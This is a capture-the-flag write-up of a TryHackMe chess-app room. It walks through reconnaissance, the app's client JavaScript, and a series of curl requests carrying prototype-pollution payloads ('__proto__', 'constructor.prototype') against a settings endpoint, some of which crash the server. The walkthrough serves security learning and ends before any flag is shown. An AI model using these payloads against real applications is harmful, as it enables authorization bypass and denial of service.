Skip to main content

Command Palette

Search for a command to run...

Fools Mate, Revenge (TryHackMe)

Updated
21 min readView as Markdown
Fools Mate, Revenge (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge on TryHackMe: Fools Mate, Revenge

Introduction

I recently worked through a two-part TryHackMe room built around a deceptively simple web app: a chess "Endgame Trainer" with a mate-in-one puzzle. On the surface, it's a clean little UI: drag a piece, deliver checkmate, get a flag. But each part hides a different class of bug behind that same interface, and together they make a genuinely good case study in why client-side logic is not security, and why convenience utilities (like a hand-rolled "deep merge" for user settings) can quietly become an authorization bypass.

Part 1 was a straightforward but satisfying lesson in CWE-602: Client-Side Enforcement of Server-Side Security. The frontend JavaScript ran its own local chess engine to pre-check your move before ever contacting the server, and if it detected the move you were about to make was checkmate, it silently blocked the request and threw up a joke "I'll shut down your PC" modal instead. The fix on my end was almost insultingly simple: skip the browser entirely and send the mating move straight to the /api/move endpoint with curl. The server had no idea the frontend was supposed to be stopping me.

Part 2 raised the difficulty meaningfully. The winning move was still a1a8 a mate-in-one that hadn't changed, but this time the server rejected the reward with a very specific, very generous error message: reward gate closed: session.config.unlocked is not set. That single line turned this from "find the move" into "find a way to set a property on your own session that the app never gave you a legitimate way to set." What followed was a hunt through a vulnerable custom deepMerge function backing a "save preferences" feature — and a first-hand, occasionally painful lesson in how prototype pollution works, how easy it is to accidentally crash the target while poking at it, and why filtering __proto__ alone doesn't actually close the door.

Below is the full walkthrough — enumeration, the client-side bypass, and the prototype pollution chain, including a few dead ends that were worth documenting because of what they revealed about the guard's implementation.

I see my client-side defences were no match for you; well done, my apprentice! Let's see if you have what it takes to claim your prize.
You can access the web app from your AttackBox's browser via: http://MACHINE_IP:3000

Answer the questions below

What is the flag?

nmap -p- -sV IP_Address

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
curl -i http://IP_Address:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 19 Jun 2026 14:35:33 GMT
ETag: W/"d78-19ee04efb36"
Content-Type: text/html; charset=UTF-8
Content-Length: 3448
Date: Sat, 04 Jul 2026 20:12:45 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Endgame Trainer</title>
  <link rel="icon" href="data:," />
  <link rel="stylesheet" href="css/styles.css" />
</head>
<body>
  <div class="app">
    <header class="topbar">
      <div class="brand">
        <span class="brand-mark">&#9820;</span>
        <span class="brand-name">Endgame<span class="brand-accent">Trainer</span></span>
      </div>
      <div class="topbar-tag">Mate-in-one &middot; White to move</div>
    </header>

    <main class="layout">
      <section class="board-wrap">
        <div class="ranks" id="ranks"></div>
        <div class="files" id="files"></div>
        <div class="board" id="board" aria-label="Chess board"></div>
      </section>

      <aside class="panel">
        <div class="panel-card status-card">
          <div class="status-row">
            <span class="dot" id="turnDot"></span>
            <span id="statusText">White to move</span>
          </div>
          <div class="flag-banner" id="flagBanner" hidden></div>
        </div>

        <div class="panel-card history-card">
          <div class="panel-title">Moves</div>
          <ol class="movelist" id="moveList"></ol>
        </div>

        <div class="panel-card prefs-card">
          <div class="panel-title">Preferences</div>
          <label class="pref-row"><span>Board theme</span>
            <select id="themeSelect">
              <option value="forest">Forest</option>
              <option value="midnight">Midnight</option>
              <option value="coral">Coral</option>
            </select>
          </label>
          <label class="pref-row"><span>Piece set</span>
            <select id="pieceSetSelect">
              <option value="classic">Classic</option>
              <option value="outline">Outline</option>
            </select>
          </label>
          <label class="pref-row"><span>Move animation</span>
            <select id="animSelect">
              <option value="180">Standard</option>
              <option value="100">Fast</option>
              <option value="0">Instant</option>
            </select>
          </label>
          <button class="btn btn-ghost" id="savePrefsBtn">Save preferences</button>
        </div>

        <div class="panel-actions">
          <button class="btn btn-ghost" id="resetBtn">Reset position</button>
        </div>
      </aside>
    </main>
  </div>

  <div class="toast-stack" id="toastStack"></div>

  <div class="modal-overlay" id="modalOverlay" hidden>
    <div class="win-dialog" role="alertdialog" aria-modal="true">
      <div class="win-titlebar">
        <span class="win-title" id="winTitle">/usr/lib32</span>
        <span class="win-controls"><span class="win-x">&times;</span></span>
      </div>
      <div class="win-body">
        <div class="win-icon">
          <svg viewBox="0 0 48 48" width="44" height="44" aria-hidden="true">
            <circle cx="24" cy="24" r="22" fill="#d8000c"/>
            <path d="M16 16 L32 32 M32 16 L16 32" stroke="#fff" stroke-width="5" stroke-linecap="round"/>
          </svg>
        </div>
        <div class="win-message" id="winMessage"></div>
      </div>
      <div class="win-buttons">
        <button class="win-btn" id="winOk">OK</button>
      </div>
    </div>
  </div>

  <script type="module" src="js/app.js"></script>
</body>
</html>

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js

gobuster dir -u http://IP_Address:3000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js

/css                  (Status: 301) [Size: 153] [--> /css/]
/index.html           (Status: 200) [Size: 3448]
/index.html           (Status: 200) [Size: 3448]
/js                   (Status: 301) [Size: 152] [--> /js/]
/vendor               (Status: 301) [Size: 156] [--> 
curl http://IP_Address:3000/js/app.js
import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
const FILES = 'abcdefgh';

const boardEl = document.getElementById('board');
const ranksEl = document.getElementById('ranks');
const filesEl = document.getElementById('files');
const moveListEl = document.getElementById('moveList');
const statusText = document.getElementById('statusText');
const turnDot = document.getElementById('turnDot');
const flagBanner = document.getElementById('flagBanner');
const resetBtn = document.getElementById('resetBtn');
const toastStack = document.getElementById('toastStack');
const modalOverlay = document.getElementById('modalOverlay');
const winMessage = document.getElementById('winMessage');
const winOk = document.getElementById('winOk');
const themeSelect = document.getElementById('themeSelect');
const pieceSetSelect = document.getElementById('pieceSetSelect');
const animSelect = document.getElementById('animSelect');
const savePrefsBtn = document.getElementById('savePrefsBtn');

const game = new Chess(START_FEN);
const sqDivs = {};
let els = {};
let history = [];
let selected = null;
let locked = false;

let dragEl = null;
let dragFrom = null;
let dragging = false;
let downX = 0;
let downY = 0;

function sqToXY(sq) {
  const f = FILES.indexOf(sq[0]);
  const r = parseInt(sq[1], 10);
  return { x: f * 12.5, y: (8 - r) * 12.5 };
}

function codeOf(cell) {
  return cell.color + cell.type.toUpperCase();
}

function buildBoard() {
  for (let r = 8; r >= 1; r--) {
    for (let f = 0; f < 8; f++) {
      const sq = FILES[f] + r;
      const d = document.createElement('div');
      const isLight = (f + r) % 2 !== 0;
      d.className = 'square ' + (isLight ? 'light' : 'dark');
      const { x, y } = sqToXY(sq);
      d.style.left = x + '%';
      d.style.top = y + '%';
      d.dataset.square = sq;
      boardEl.appendChild(d);
      sqDivs[sq] = d;
    }
  }
  for (let r = 8; r >= 1; r--) {
    const s = document.createElement('span');
    s.textContent = r;
    ranksEl.appendChild(s);
  }
  for (let f = 0; f < 8; f++) {
    const s = document.createElement('span');
    s.textContent = FILES[f];
    filesEl.appendChild(s);
  }
}

function setElPos(el, sq, instant) {
  const { x, y } = sqToXY(sq);
  if (instant) {
    el.style.transition = 'none';
    el.style.left = x + '%';
    el.style.top = y + '%';
    void el.offsetWidth;
    el.style.transition = '';
  } else {
    el.style.left = x + '%';
    el.style.top = y + '%';
  }
}

function renderFull() {
  for (const el of Object.values(els)) el.remove();
  els = {};
  const board = game.board();
  for (let row = 0; row < 8; row++) {
    for (let col = 0; col < 8; col++) {
      const cell = board[row][col];
      if (!cell) continue;
      const sq = FILES[col] + (8 - row);
      const el = document.createElement('div');
      el.className = 'piece ' + codeOf(cell);
      el.dataset.square = sq;
      const { x, y } = sqToXY(sq);
      el.style.transition = 'none';
      el.style.left = x + '%';
      el.style.top = y + '%';
      boardEl.appendChild(el);
      els[sq] = el;
    }
  }
  void boardEl.offsetWidth;
  for (const el of Object.values(els)) el.style.transition = '';
  refreshHighlights();
}

function animateMove(from, to) {
  const el = els[from];
  if (!el) { renderFull(); return; }
  if (els[to]) {
    const cap = els[to];
    delete els[to];
    setTimeout(() => cap.remove(), 170);
  }
  setElPos(el, to, false);
  el.dataset.square = to;
  delete els[from];
  els[to] = el;
}

function clearHints() {
  boardEl.querySelectorAll('.hint').forEach((n) => n.remove());
}

function showHints(sq) {
  clearHints();
  const moves = game.moves({ square: sq, verbose: true });
  for (const m of moves) {
    const h = document.createElement('div');
    const occupied = !!els[m.to] || m.flags.includes('e');
    h.className = 'hint' + (occupied ? ' capture' : '');
    const { x, y } = sqToXY(m.to);
    h.style.left = x + '%';
    h.style.top = y + '%';
    const spot = document.createElement('div');
    spot.className = 'spot';
    h.appendChild(spot);
    boardEl.appendChild(h);
  }
}

function clearSelection() {
  if (selected && sqDivs[selected]) sqDivs[selected].classList.remove('selected');
  selected = null;
  clearHints();
}

function select(sq) {
  clearSelection();
  selected = sq;
  sqDivs[sq].classList.add('selected');
  showHints(sq);
}

function refreshHighlights() {
  Object.values(sqDivs).forEach((d) => d.classList.remove('in-check'));
  if (game.isCheck() || game.isCheckmate()) {
    const turn = game.turn();
    const board = game.board();
    for (let row = 0; row < 8; row++) {
      for (let col = 0; col < 8; col++) {
        const cell = board[row][col];
        if (cell && cell.type === 'k' && cell.color === turn) {
          sqDivs[FILES[col] + (8 - row)].classList.add('in-check');
        }
      }
    }
  }
}

function setLastMove(from, to) {
  Object.values(sqDivs).forEach((d) => d.classList.remove('last-move'));
  if (sqDivs[from]) sqDivs[from].classList.add('last-move');
  if (sqDivs[to]) sqDivs[to].classList.add('last-move');
}

function recordMove(san, color) {
  if (color === 'w') history.push({ w: san, b: '' });
  else if (history.length) history[history.length - 1].b = san;
  renderMoveList();
}

function renderMoveList() {
  moveListEl.innerHTML = '';
  history.forEach((mv, i) => {
    const num = document.createElement('li');
    num.className = 'num';
    num.textContent = i + 1 + '.';
    const w = document.createElement('li');
    w.className = 'ply';
    w.textContent = mv.w;
    const b = document.createElement('li');
    b.className = 'ply';
    b.textContent = mv.b;
    if (i === history.length - 1) {
      (mv.b ? b : w).classList.add('last');
    }
    moveListEl.appendChild(num);
    moveListEl.appendChild(w);
    moveListEl.appendChild(b);
  });
  moveListEl.scrollTop = moveListEl.scrollHeight;
}

function updateStatus() {
  const turn = game.turn();
  turnDot.classList.toggle('black', turn === 'b');
  if (game.isCheckmate()) {
    statusText.textContent = turn === 'b' ? 'Checkmate \u2014 White wins' : 'Checkmate \u2014 Black wins';
  } else if (game.isStalemate()) {
    statusText.textContent = 'Stalemate';
  } else if (game.isDraw()) {
    statusText.textContent = 'Draw';
  } else if (game.isCheck()) {
    statusText.textContent = (turn === 'w' ? 'White' : 'Black') + ' in check';
  } else {
    statusText.textContent = (turn === 'w' ? 'White' : 'Black') + ' to move';
  }
}

function showFlag(flag) {
  flagBanner.hidden = false;
  flagBanner.textContent = flag;
}

function toast(msg) {
  const t = document.createElement('div');
  t.className = 'toast';
  t.textContent = msg;
  toastStack.appendChild(t);
  requestAnimationFrame(() => t.classList.add('show'));
  setTimeout(() => {
    t.classList.remove('show');
    setTimeout(() => t.remove(), 220);
  }, 1700);
}

function showSystemNotice(msg) {
  winMessage.textContent = msg;
  modalOverlay.hidden = false;
}

function hideSystemNotice() {
  modalOverlay.hidden = true;
}

function isLegalTarget(from, to) {
  return game.moves({ square: from, verbose: true }).some((m) => m.to === to);
}

function needsPromotion(from, to) {
  return game.moves({ square: from, verbose: true }).some((m) => m.to === to && m.promotion);
}

async function sendMove(from, to, promotion) {
  locked = true;
  let res, data;
  try {
    res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) {
    locked = false;
    renderFull();
    return;
  }
  if (!res.ok || !data || !data.ok) {
    locked = false;
    renderFull();
    return;
  }

  const pMove = game.move({ from, to, promotion: promotion || undefined });
  animateMove(from, to);
  recordMove(pMove ? pMove.san : from + to, 'w');
  setLastMove(from, to);

  if (data.botMove) {
    const bf = data.botMove.slice(0, 2);
    const bt = data.botMove.slice(2, 4);
    const bp = data.botMove.slice(4);
    setTimeout(() => {
      const bMove = game.move({ from: bf, to: bt, promotion: bp || undefined });
      animateMove(bf, bt);
      recordMove(bMove ? bMove.san : bf + bt, 'b');
      setLastMove(bf, bt);
      if (game.fen() !== data.fen) { game.load(data.fen); renderFull(); }
      finalize(data);
      locked = game.isGameOver();
    }, 220);
  } else {
    if (game.fen() !== data.fen) { game.load(data.fen); renderFull(); }
    finalize(data);
    locked = game.isGameOver();
  }
}

function finalize(data) {
  refreshHighlights();
  updateStatus();
  if (data.flag) {
    showFlag(data.flag);
  } else if (data.locked) {
    showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
  }
}

function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  sendMove(from, to, promotion);
  return true;
}

function pointAtSquare(clientX, clientY) {
  const rect = boardEl.getBoundingClientRect();
  const fx = (clientX - rect.left) / rect.width;
  const fy = (clientY - rect.top) / rect.height;
  if (fx < 0 || fx >= 1 || fy < 0 || fy >= 1) return null;
  const col = Math.floor(fx * 8);
  const row = Math.floor(fy * 8);
  return FILES[col] + (8 - row);
}

function onPointerDown(e) {
  if (locked) return;
  const sq = pointAtSquare(e.clientX, e.clientY);
  if (!sq) return;

  if (selected && selected !== sq && isLegalTarget(selected, sq)) {
    const from = selected;
    clearSelection();
    doMove(from, sq);
    return;
  }

  const piece = game.get(sq);
  if (piece && piece.color === 'w' && game.turn() === 'w' && els[sq]) {
    select(sq);
    dragEl = els[sq];
    dragFrom = sq;
    dragging = false;
    downX = e.clientX;
    downY = e.clientY;
    dragEl.setPointerCapture(e.pointerId);
  } else {
    clearSelection();
  }
}

function onPointerMove(e) {
  if (!dragEl) return;
  if (!dragging) {
    const dist = Math.hypot(e.clientX - downX, e.clientY - downY);
    if (dist < 5) return;
    dragging = true;
    dragEl.classList.add('dragging');
  }
  const rect = boardEl.getBoundingClientRect();
  let px = ((e.clientX - rect.left) / rect.width) * 100 - 6.25;
  let py = ((e.clientY - rect.top) / rect.height) * 100 - 6.25;
  px = Math.max(-6.25, Math.min(93.75, px));
  py = Math.max(-6.25, Math.min(93.75, py));
  dragEl.style.transition = 'none';
  dragEl.style.left = px + '%';
  dragEl.style.top = py + '%';
}

function onPointerUp(e) {
  if (!dragEl) return;
  const el = dragEl;
  const from = dragFrom;
  const wasDragging = dragging;
  dragEl = null;
  dragFrom = null;
  dragging = false;
  el.classList.remove('dragging');
  el.style.transition = '';

  if (!wasDragging) {
    return;
  }

  const drop = pointAtSquare(e.clientX, e.clientY);
  if (drop && drop !== from && isLegalTarget(from, drop)) {
    setElPos(el, from, true);
    clearSelection();
    doMove(from, drop);
  } else {
    setElPos(el, from, true);
    clearSelection();
  }
}

async function reset() {
  let data;
  try {
    const res = await fetch('/api/reset', { method: 'POST' });
    data = await res.json();
  } catch (e) {
    return;
  }
  game.load(data && data.fen ? data.fen : START_FEN);
  history = [];
  renderMoveList();
  Object.values(sqDivs).forEach((d) => d.classList.remove('last-move', 'in-check', 'selected'));
  selected = null;
  flagBanner.hidden = true;
  flagBanner.textContent = '';
  locked = false;
  renderFull();
  updateStatus();
}

boardEl.addEventListener('pointerdown', onPointerDown);
boardEl.addEventListener('pointermove', onPointerMove);
boardEl.addEventListener('pointerup', onPointerUp);
boardEl.addEventListener('pointercancel', onPointerUp);
resetBtn.addEventListener('click', reset);
winOk.addEventListener('click', hideSystemNotice);
modalOverlay.addEventListener('click', (e) => { if (e.target === modalOverlay) hideSystemNotice(); });
document.addEventListener('keydown', (e) => { if (e.key === 'Escape') hideSystemNotice(); });

function applyPrefs(p) {
  if (!p) return;
  if (p.theme) {
    document.body.dataset.theme = p.theme;
    themeSelect.value = p.theme;
  }
  if (p.pieceSet) {
    document.body.dataset.pieceSet = p.pieceSet;
    pieceSetSelect.value = p.pieceSet;
  }
  if (typeof p.animationMs !== 'undefined') {
    document.documentElement.style.setProperty('--anim', Number(p.animationMs) + 'ms');
    animSelect.value = String(p.animationMs);
  }
}

async function savePrefs() {
  const prefs = {
    theme: themeSelect.value,
    pieceSet: pieceSetSelect.value,
    animationMs: Number(animSelect.value)
  };
  applyPrefs(prefs);
  try {
    const res = await fetch('/api/settings', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(prefs)
    });
    const data = await res.json();
    if (data && data.preferences) applyPrefs(data.preferences);
  } catch (e) {}
  toast('Preferences saved');
}

async function loadState() {
  try {
    const res = await fetch('/api/state');
    const data = await res.json();
    if (data && data.fen) game.load(data.fen);
  } catch (e) {}
  renderFull();
  updateStatus();
}

savePrefsBtn.addEventListener('click', savePrefs);

buildBoard();
renderFull();
updateStatus();
loadState();
curl -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"theme":"forest","pieceSet":"classic","animationMs":180}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=2476c4e72d3329ec494c9370b5f6d72a; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 83
ETag: W/"53-Dx92MbxGkqGpMKjvA2vExp5e82w"
Date: Sat, 04 Jul 2026 20:19:59 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}
curl -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"theme":"forest","__proto__":{"locked":false}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=b2d47b7042f11e17dcc38f5c4d332574; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:20:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{"theme":"forest"}}

curl -i -X POST http://IP_Address:3000/api/settings \                  curl -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=1e3714d05e4d9aa756a7dcd08de31ab0; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sat, 04 Jul 2026 20:20:50 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{}}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"theme":"forest"}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=9717dc160a9e958595eb99bb97f937cf; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:22:07 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{"theme":"forest"}}

curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/apcurl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"locked":false}}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:22:19 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{"theme":"forest"}}

curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/rcurl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"config":{"unlocked":true}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:23:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{"theme":"forest"}}

curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/rcurl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}root@ip-10-114-72-233:~# curl -c cookies.txt -b cookcurl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"config":{"unlocked":true}}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:24:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{"theme":"forest"}}

curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/apcurl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"config":{"unlocked":true}}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:24:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"a":{"constructor":{"prototype":{"config":{"unlocked":true}}}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:26:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>

curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"theme":{"__proto__":{"unlocked":true}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:27:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>

curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"theme":{"__proto__":{"config":{"unlocked":true}}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:27:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>

rm -f cookies2.txt
curl -c cookies2.txt -b cookies2.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies2.txt -b cookies2.txt -X POST http://IP_Address:3000/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
